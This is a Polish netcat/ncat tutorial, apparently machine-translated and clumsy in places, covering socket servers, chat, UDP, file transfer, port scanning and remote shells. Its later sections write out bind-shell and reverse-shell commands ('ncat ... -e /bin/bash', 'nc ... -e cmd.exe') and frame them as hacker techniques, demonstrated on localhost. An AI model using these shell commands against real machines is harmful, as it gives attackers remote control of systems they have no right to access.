Netcat
Netcat jest aplikacją terminalową, która jest podobna do programu telnet, ale ma dużo więcej funkcji.
jest to „wersja energetyczna” tradycyjnego programu telnet.
oprócz podstawowych funkcji telnet może wykonywać różne inne rzeczy, takie jak tworzenie serwerów gniazd do nasłuchiwania połączeń przychodzących na portach, przesyłanie plików z terminala itp.
jest to małe narzędzie, które jest pełne wielu funkcji., Dlatego nazywany jest „swiss-army knife for TCP / IP”.
podręcznik netcat definiuje netcat jako
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.
więc zasadniczo netcat jest narzędziem do wykonywania dwukierunkowej komunikacji sieciowej poprzez protokoły TCP / UDP.
bardziej technicznie, netcat może działać jako serwer gniazd lub klient i współdziałać z innymi programami jednocześnie wysyłając i odbierając dane przez sieć.
taka definicja brzmi zbyt ogólnikowo i utrudnia zrozumienie, co dokładnie robi to narzędzie i do czego jest przydatne., Można to zrozumieć tylko używając go i bawiąc się nim.
Ncat
więc pierwszą rzeczą do zrobienia byłoby skonfigurowanie netcata na komputerze. Netcat występuje w różnych smakach. Oznacza, że jest on dostępny od wielu dostawców.
ale większość z nich ma podobną funkcjonalność. Na Ubuntu są 3 pakiety o nazwie netcat-openbsd, netcat-traditional i ncat.
moją preferowaną wersją jest ncat. Ncat został opracowany przez zespół nmap jest najlepszym ze wszystkich dostępnych netcatów i co najważniejsze jego cross platform i działa bardzo dobrze na windows.,
strona projektu:
zainstaluj Ncat w systemie Windows
wersję netcat dla systemu Windows można pobrać z
wystarczy pobrać i rozpakować pliki w odpowiednie miejsce.
lub Pobierz wersję ncat Dla windows
zainstaluj Ncat na Ubuntu / Linux Mint/Linux
pakiet Ubuntu syntaptic ma dostępne pakiety netcat-OpenBSD i netcat-traditional. Zainstaluj oba. Nmap jest również wyposażony w implementację netcat o nazwie ncat. To też zainstaluj.,
zainstaluj na Ubuntu
$ sudo apt-get install netcat-traditional netcat-openbsd nmap
aby użyć implementacji netcat-openbsd użyj polecenia „nc”.
do korzystania z netcat-tradycyjna implementacja „nc.tradycyjne polecenie „
Aby używać Nmap ncat użyj polecenia” ncat”.
przykłady poleceń Netcat
w poniższym samouczku użyjemy ich wszystkich w różnych przykładach na różne sposoby.
Telnet
pierwszą rzeczą, jaką netcat może być używany jako program telnet. Zobaczmy jak.
$ nc -v google.com 80
teraz netcat jest podłączony do google.com na porcie 80 i jego czas, aby wysłać jakąś wiadomość., Spróbujmy pobrać stronę indeksu. Dla tego typu ” GET index.html HTTP/1.1 ” i naciśnij klawisz Enter dwukrotnie. Pamiętaj dwa razy.
wyjście z google.com został odebrany i odbity echem na terminalu.
Simple socket server
aby otworzyć simple socket server wpisz następujące polecenie.
$ nc -l -v 1234
powyższe polecenie oznacza : netcat nasłuchuje portu TCP 1234. Opcja-v daje szczegółowy wynik dla lepszego zrozumienia., Teraz z innego terminala spróbuj połączyć się z portem 1234 używając polecenia telnet w następujący sposób :
$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong
Po podłączeniu wysyłamy wiadomość testową jak abc i ting tong do serwera gniazd netcat. Serwer gniazd netcat będzie echo danych otrzymanych od klienta telnet.
$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong
jest to kompletny system rozmów. Wpisz coś w terminalu netcat i pojawi się również w terminalu telnet. Tak więc ta technika może być używana do rozmów między 2 maszynami.,
kompletny serwer ECHO
Ncat z opcją-c może być użyty do uruchomienia serwera echo. Źródło
uruchom serwer echo używając ncat w następujący sposób
$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'
teraz z innego terminala połącz się za pomocą telnet i wpisz coś. Zostanie odesłany z prefiksem””.
wersja netcat-openbsd nie posiada opcji-C. Pamiętaj, aby zawsze używać opcji-v do szczegółowego wyjścia.
Uwaga : Netcat może zostać poproszony o zapisanie danych do pliku zamiast wysyłania ich do terminala.,
$ nc -l -v 1234 > data.txt
Utwórz serwer UDP
Netcat działa również z portami udp. Aby uruchomić serwer netcat używając portów udp użyj opcji-u
$ nc -v -ul 7000
Klient UDP
Połącz się z tym serwerem używając netcat z innego terminala
$ nc localhost -u 7000
teraz oba terminale mogą ze sobą rozmawiać.
transfer plików
cały plik można przesłać za pomocą netcat. Oto szybki przykład.
jedna maszyna a-Wyślij plik
$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555
w powyższym poleceniu polecenie cat odczytuje i wypisuje zawartość happy.txt., Wyjście nie jest wysyłane do terminala, zamiast tego jest przesyłane do ncat, który otworzył serwer gniazd na porcie 5555.
na komputerze B – odbiór pliku
$ ncat localhost 5555 > happy_copy.txt
w powyższym poleceniu ncat połączy się z localhost na porcie 5555 i to, co odbierze, zostanie zapisane do happy_copy.txt
teraz happy_copy.txt będzie kopią happy.txt ponieważ dane wysyłane przez port 5555 jest zawartością happy.txt w poprzednim poleceniu.
Netcat wyśle plik Tylko do pierwszego klienta, który się z nim połączy. Potem już po wszystkim.,
i po tym jak pierwszy klient zamknie połączenie, netcat server również je zamknie.
skanowanie portów
Netcat może być również używany do skanowania portów. Jednak nie jest to właściwe użycie netcata i należy użyć bardziej odpowiedniego narzędzia, takiego jak nmap.
parametr „-n” zapobiega wyszukiwaniu DNS, „-z” sprawia, że nc nie odbiera żadnych danych z serwera, a „-w 1” powoduje ograniczenie czasu połączenia po 1 sekundzie nieaktywności.
Remote Shell/Backdoor
Ncat może być użyty do uruchomienia podstawowej powłoki na zdalnym systemie na porcie bez potrzeby ssh., Oto szybki przykład.
$ ncat -v -l -p 7777 -e /bin/bash
powyższe spowoduje uruchomienie serwera na porcie 7777 i przekaże wszystkie przychodzące wejścia do polecenia bash, a wyniki zostaną odesłane. Polecenie w zasadzie konwertuje program bash na serwer. Tak więc netcat może być używany do konwersji dowolnego procesu na serwer.
Połącz się z tą powłoką bash używając nc z innego terminala
$ nc localhost 7777
teraz spróbuj wykonać dowolne polecenie , takie jak help , ls, pwd itp.
Windows
na komputerze z systemem windows cmd.,exe (dos prompt program) jest używany do uruchamiania podobnej powłoki przy użyciu netcat. Składnia polecenia jest taka sama.
C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182
teraz inna konsola może się połączyć za pomocą polecenia telnet
chociaż netcat może być używany do konfiguracji zdalnych powłok, nie jest przydatny do uzyskania interaktywnej powłoki na zdalnym systemie, ponieważ w większości przypadków netcat nie byłby zainstalowany na zdalnym systemie.
najskuteczniejszą metodą uzyskania powłoki na zdalnej maszynie przy użyciu netcata jest tworzenie odwrotnych powłok.,
odwrócone powłoki
jest to najpotężniejsza funkcja netcata, dla której jest najczęściej używana przez hakerów. Netcat jest używany w prawie wszystkich technikach odwrotnej powłoki, aby złapać odwrotne połączenie programu powłoki z zhakowanego systemu.
Odwróć telnet
najpierw weźmy przykład prostego odwrotnego połączenia telnet. W połączeniu telnet klient łączy się z serwerem, aby uruchomić kanał komunikacyjny.
Your system runs (# telnet server port_number) =============> Server
teraz za pomocą powyższej techniki można podłączyć się do Portu 80 serwera, aby pobrać stronę internetową., Jednak haker jest zainteresowany otrzymaniem powłoki poleceń. To wiersz polecenia systemu windows lub terminal Linuksa. Powłoka poleceń daje pełną kontrolę nad zdalnym systemem. Teraz na zdalnym serwerze nie działa żadna usługa, z którą można się połączyć i uzyskać powłokę poleceń.
więc kiedy haker włamuje się do systemu, musi uzyskać powłokę poleceń. Ponieważ nie jest to możliwe bezpośrednio, rozwiązaniem jest użycie odwróconej powłoki. W odwrotnej powłoce serwer inicjuje połączenie z maszyną hakera i wydaje powłokę komend.,
Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine
aby czekać na połączenia przychodzące, należy otworzyć lokalny detektor gniazd. Netcat / ncat może to zrobić.
najpierw trzeba uruchomić serwer netcat na maszynie lokalnej lub na maszynie hakera.
maszyna A
$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888
powyższe uruchomi serwer socket (listener) na porcie 8888 na lokalnej maszynie / maszynie hakera.
teraz na docelowej maszynie / zhakowanej maszynie musi zostać uruchomiona odwrócona powłoka. Istnieje wiele sposobów na wystrzelenie pocisków odwróconych.,
aby jakakolwiek metoda działała, haker musi być w stanie wykonać dowolne polecenie w systemie lub powinien być w stanie przesłać plik, który może być wykonany przez otwarcie z przeglądarki (jak skrypt php).
w tym przykładzie nie robimy żadnej z wyżej wymienionych rzeczy. Po prostu uruchomimy netcata na serwerze również, aby rzucić odwrotną powłokę poleceń, aby zademonstrować tę koncepcję. Tak więc netcat powinien być zainstalowany na serwerze lub komputerze docelowym.,
Maszyna B:
$ ncat localhost 8888 -e /bin/bash
To polecenie połączy się z maszyną A na porcie 8888 i wyświetli wyjście bash skutecznie dając powłokę maszynie A. teraz maszyna a może wykonać dowolne polecenie na maszynie B.
Maszyna a
w prawdziwym scenariuszu hacking / penetration testing nie jest możliwe uruchomienie netcata na maszynie docelowej. Dlatego też inne techniki są stosowane do tworzenia powłoki. Należą do nich przesyłanie skryptów PHP z odwrotną powłoką i uruchamianie ich poprzez otwieranie ich w przeglądarce. Lub uruchomienie exploita przepełnienia bufora w celu wykonania odwrotnego obciążenia powłoki.,
podsumowanie
Tak więc w powyższych przykładach widzieliśmy, jak używać netcata do różnych działań sieciowych, takich jak telnet, reverse shells itp. Hakerzy używają go głównie do tworzenia szybkich odwrotnych powłok.
w tym samouczku omówiliśmy niektóre z podstawowych i powszechnych zastosowań netcata. Sprawdź artykuł w Wikipedii, aby uzyskać więcej informacji na temat tego, co jeszcze może zrobić netcat.